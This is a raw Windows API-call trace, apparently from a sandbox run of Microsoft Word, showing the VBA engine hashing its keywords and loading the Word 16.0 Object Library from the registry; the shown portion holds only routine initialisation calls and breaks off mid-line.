LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dir") returned 0x4083c9 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dir$") returned 0x406567 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dir") returned 0x4083c9 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Do") returned 0x405cf8 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DoEvents") returned 0x409634 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Double") returned 0x400d99 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Each") returned 0x40fe75 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Else") returned 0x403b56 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ElseIf") returned 0x40f307 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Empty") returned 0x40f4f1 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="End") returned 0x4089cd [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="EndIf") returned 0x4078bd [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Enum") returned 0x40465a [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Eqv") returned 0x408a4e [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Erase") returned 0x4080da [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Error") returned 0x40db3c [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Error$") returned 0x40cf60 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Error") returned 0x40db3c [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Event") returned 0x40ac4b [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Exit") returned 0x407a1f [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Explicit") returned 0x40edcb [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="F") returned 0x40105d [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Fix") returned 0x408e81 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="For") returned 0x408f59 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Format") returned 0x402337 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Format$") returned 0x40efc7 [0068.188] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Format") returned 0x402337 [0068.189] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="FreeFile") returned 0x40483a [0068.189] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Friend") returned 0x40bd1c [0068.189] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Function") returned 0x407810 [0068.189] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Get") returned 0x409342 [0068.189] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Global") returned 0x40f88f [0068.189] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Go") returned 0x405d67 [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="GoSub") returned 0x40b425 [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="GoTo") returned 0x40d70b [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="If") returned 0x405da8 [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Imp") returned 0x409f18 [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Implements") returned 0x40a988 [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="In") returned 0x405db0 [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Input") returned 0x40022a [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Input$") returned 0x407767 [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Input") returned 0x40022a [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InputB") returned 0x407785 [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InputB$") returned 0x400c59 [0068.194] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InputB") returned 0x407785 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InStr") returned 0x40120e [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InStrB") returned 0x40c2fb [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Int") returned 0x409f41 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Integer") returned 0x40b48a [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Is") returned 0x405db5 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LBound") returned 0x401e0b [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Left") returned 0x407be5 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Len") returned 0x40adf9 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LenB") returned 0x407cfb [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Let") returned 0x40adff [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Lib") returned 0x40ae81 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Like") returned 0x4091f3 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Line") returned 0x409262 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LINEINPUT") returned 0x4008f1 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Load") returned 0x40b096 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Local") returned 0x40353f [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Lock") returned 0x40b0e7 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Long") returned 0x40b27a [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Loop") returned 0x40b2a8 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LSet") returned 0x40c69e [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Me") returned 0x405e3b [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mid") returned 0x40b3dc [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mid$") returned 0x40566d [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mid") returned 0x40b3dc [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MidB") returned 0x40568b [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MidB$") returned 0x402a70 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MidB") returned 0x40568b [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mod") returned 0x40b4ba [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Module") returned 0x401ee1 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Name") returned 0x40f2f0 [0068.195] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="New") returned 0x40b8b3 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Next") returned 0x4009bb [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Not") returned 0x40ba23 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Nothing") returned 0x405f21 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Null") returned 0x405d87 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Object") returned 0x402ec1 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="On") returned 0x405e8e [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Open") returned 0x400767 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Option") returned 0x40f982 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Optional") returned 0x40675a [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Or") returned 0x405e92 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Output") returned 0x40f959 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ParamArray") returned 0x405941 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Preserve") returned 0x40a5fc [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Print") returned 0x40f00d [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Private") returned 0x4073c3 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Property") returned 0x40d2f6 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="PSet") returned 0x40dd55 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Public") returned 0x401287 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="RaiseEvent") returned 0x40274a [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Random") returned 0x40f428 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Randomize") returned 0x40ab02 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Read") returned 0x401d0f [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ReDim") returned 0x40eea8 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Rem") returned 0x40ce0e [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Resume") returned 0x40728b [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Return") returned 0x4038eb [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="RGB") returned 0x40ce4d [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="RSet") returned 0x406891 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Scale") returned 0x40e596 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Seek") returned 0x40e387 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Select") returned 0x40cabd [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Set") returned 0x40d36e [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Sgn") returned 0x40d3b2 [0068.196] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Shared") returned 0x40479e [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Single") returned 0x40a99f [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Spc") returned 0x40d4f4 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Static") returned 0x4029c6 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Step") returned 0x403384 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Stop") returned 0x4034f6 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="StrComp") returned 0x40274d [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="String") returned 0x40102a [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="String$") returned 0x40c31c [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="String") returned 0x40102a [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Sub") returned 0x40d5ac [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Tab") returned 0x40d821 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Text") returned 0x40abed [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Then") returned 0x40b933 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="To") returned 0x405f48 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="True") returned 0x40f0f4 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Type") returned 0x400007 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="TypeOf") returned 0x401832 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="UBound") returned 0x40ea71 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Unload") returned 0x404e44 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Unlock") returned 0x404e95 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Unknown") returned 0x40a11d [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Until") returned 0x40ecec [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Variant") returned 0x408738 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Wend") returned 0x4035a7 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="While") returned 0x40a25c [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Width") returned 0x404e68 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="With") returned 0x404bed [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="WithEvents") returned 0x40f2eb [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Write") returned 0x405c2e [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Xor") returned 0x40ef9b [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#Const") returned 0x40f8c9 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#Else") returned 0x4050dd [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#ElseIf") returned 0x40e5b5 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#End") returned 0x40d478 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#If") returned 0x40d383 [0068.197] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Base") returned 0x409fb8 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Control") returned 0x40a946 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Creatable") returned 0x401d92 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Customizable") returned 0x40c26d [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Description") returned 0x4009d0 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Exposed") returned 0x4030b3 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Ext_KEY") returned 0x40a88e [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_HelpID") returned 0x403e41 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_Func") returned 0x40c92c [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_Property") returned 0x407f4a [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_PropertyPut") returned 0x406658 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_PropertyPutRef") returned 0x405b25 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_MemberFlags") returned 0x408db7 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Name") returned 0x40e2ff [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_PredeclaredId") returned 0x405fc7 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_ProcData") returned 0x407005 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_TemplateDerived") returned 0x409f1e [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarDescription") returned 0x403303 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarHelpID") returned 0x40a3b6 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarMemberFlags") returned 0x40b6ea [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarProcData") returned 0x401b0c [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_UserMemId") returned 0x407b95 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarUserMemId") returned 0x404d5f [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_GlobalNameSpace") returned 0x40ce77 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName=",") returned 0x401043 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName=".") returned 0x401045 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="\"") returned 0x401039 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="_") returned 0x401076 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CLngPtr") returned 0x405ab0 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefLngPtr") returned 0x4036f2 [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="PtrSafe") returned 0x406f4a [0068.198] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CLngLng") returned 0x404463 [0068.199] StringFromGUID2 (in: rguid=0x2885cfd58e0*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xbcb38f3600, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0068.199] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xbcb38f32c0 | out: phkResult=0xbcb38f32c0*=0x124e) returned 0x0 [0068.199] RegOpenKeyW (in: hKey=0x124e, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0xbcb38f32b8 | out: phkResult=0xbcb38f32b8*=0x1276) returned 0x0 [0068.199] RegEnumKeyW (in: hKey=0x1276, dwIndex=0x0, lpName=0xbcb38f32e8, cchName=0xa | out: lpName="8.7") returned 0x0 [0068.200] wcscpy_s (in: _Destination=0xbcb38f32d0, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0068.200] RegOpenKeyW (in: hKey=0x1276, lpSubKey="8.7", phkResult=0xbcb38f3378 | out: phkResult=0xbcb38f3378*=0x1286) returned 0x0 [0068.200] _ultoa_s (in: _Val=0x409, _DstBuf=0xbcb38f32f0, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0068.200] RegOpenKeyA (in: hKey=0x1286, lpSubKey="409", phkResult=0xbcb38f32e0 | out: phkResult=0xbcb38f32e0*=0x0) returned 0x2 [0068.200] _ultoa_s (in: _Val=0x9, _DstBuf=0xbcb38f32f0, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0068.200] RegOpenKeyA (in: hKey=0x1286, lpSubKey="9", phkResult=0xbcb38f32e0 | out: phkResult=0xbcb38f32e0*=0x0) returned 0x2 [0068.200] RegOpenKeyA (in: hKey=0x1286, lpSubKey="0", phkResult=0xbcb38f32e0 | out: phkResult=0xbcb38f32e0*=0x128e) returned 0x0 [0068.200] RegOpenKeyW (in: hKey=0x128e, lpSubKey="win64", phkResult=0xbcb38f32e8 | out: phkResult=0xbcb38f32e8*=0x1296) returned 0x0 [0068.221] RegCloseKey (hKey=0x1296) returned 0x0 [0068.221] RegCloseKey (hKey=0x128e) returned 0x0 [0068.222] _ultow_s (in: _Value=0x0, _Buffer=0xbcb38f3380, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0068.222] RegOpenKeyW (in: hKey=0x1286, lpSubKey="0", phkResult=0xbcb38f3358 | out: phkResult=0xbcb38f3358*=0x128a) returned 0x0 [0068.222] RegQueryValueW (in: hKey=0x128a, lpSubKey="win64", lpData=0xbcb38f33a0, lpcbData=0xbcb38f3354 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0xbcb38f3354) returned 0x0 [0068.222] wcscpy_s (in: _Destination=0xbcb38f36d0, _SizeInWords=0x800, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0068.222] RegCloseKey (hKey=0x128a) returned 0x0 [0068.222] RegCloseKey (hKey=0x1286) returned 0x0 [0068.222] RegCloseKey (hKey=0x1276) returned 0x0 [0068.222] RegCloseKey (hKey=0x124e) returned 0x0 [0068.223] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0xbcb38f2558*=0x0 | out: pptlib=0xbcb38f2558*=0x28857594370) returned 0x0 [0068.225] ITypeLib:RemoteGetDocumentation (in: This=0x28857594370, index=-1, refPtrFlags=0xb38f2578, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xbcb38f2628 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xbcb38f2628) returned 0x0 [0068.225] IUnknown:QueryInterface (in: This=0x28857594370, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f2368 | out: ppvObject=0xbcb38f2368*=0x0) returned 0x80004002 [0068.225] ITypeLib:RemoteGetLibAttr (in: This=0x28857594370, ppTLibAttr=0xbcb38f2360, pDummy=0xbcb38f2368 | out: ppTLibAttr=0xbcb38f2360, pDummy=0xbcb38f2368*=0x0) returned 0x0 [0068.225] ITypeLib:RemoteGetDocumentation (in: This=0x28857594370, index=-1, refPtrFlags=0x0, pBstrName=0xbcb38f2358, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0xbcb38f2358*="Microsoft Word 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0068.225] StringFromGUID2 (in: rguid=0x288574fe070*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xbcb38f2380, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0068.225] _ultow_s (in: _Value=0x8, _Buffer=0xbcb38f22ca, _BufferCount=0x10, _Radix=16 | out: _Buffer="8") returned 0x0 [0068.225] _ultow_s (in: _Value=0x7, _Buffer=0xbcb38f22ce, _BufferCount=0xe, _Radix=16 | out: _Buffer="7") returned 0x0 [0068.225] _ultow_s (in: _Value=0x0, _Buffer=0xbcb38f22d2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0068.225] wcscpy_s (in: _Destination=0x2885747f8c8, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0068.225] wcscpy_s (in: _Destination=0x2885747f8ce, _SizeInWords=0x8b, _Source="{00020905-0000-0000-C000-000000000046}" | out: _Destination="{00020905-0000-0000-C000-000000000046}") returned 0x0 [0068.225] wcscpy_s (in: _Destination=0x2885747f91a, _SizeInWords=0x65, _Source="#8.7#0#" | out: _Destination="#8.7#0#") returned 0x0 [0068.225] wcscpy_s (in: _Destination=0x2885747f928, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0068.225] wcscpy_s (in: _Destination=0x2885747f99e, _SizeInWords=0x23, _Source="Microsoft Word 16.0 Object Library" | out: _Destination="Microsoft Word 16.0 Object Library") returned 0x0 [0068.225] ITypeLib:LocalReleaseTLibAttr (This=0x28857594370) returned 0x0 [0068.225] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d158b30, cb=0x1a0) returned 0x2885748abb0 [0068.225] wcscpy_s (in: _Destination=0x2885748abb0, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0068.225] ITypeLib:RemoteGetDocumentation (in: This=0x28857594370, index=-1, refPtrFlags=0xb38f2478, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2885d2fcbec | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2885d2fcbec) returned 0x0 [0068.226] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Word") returned 0x406bb5 [0068.226] strcpy_s (in: _Dst=0xbcb38f2270, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0068.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f2270, cbMultiByte=5, lpWideCharStr=0xbcb38f20c0, cchWideChar=5 | out: lpWideCharStr="Word") returned 5 [0068.226] wcsncpy_s (in: _Destination=0xbcb38f2070, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0068.226] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0068.226] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x11c) returned 0x2884e23c9e0 [0068.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x2884e23c9e0, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0068.226] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e23c9e0) [0068.226] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d4f2280, cb=0x220) returned 0x2885d5455d0 [0068.226] wcscpy_s (in: _Destination=0x2885d5456c0, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0068.226] wcsncpy_s (in: _Destination=0xbcb38f20b0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0068.226] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0068.226] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x11c) returned 0x2884e23b810 [0068.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft 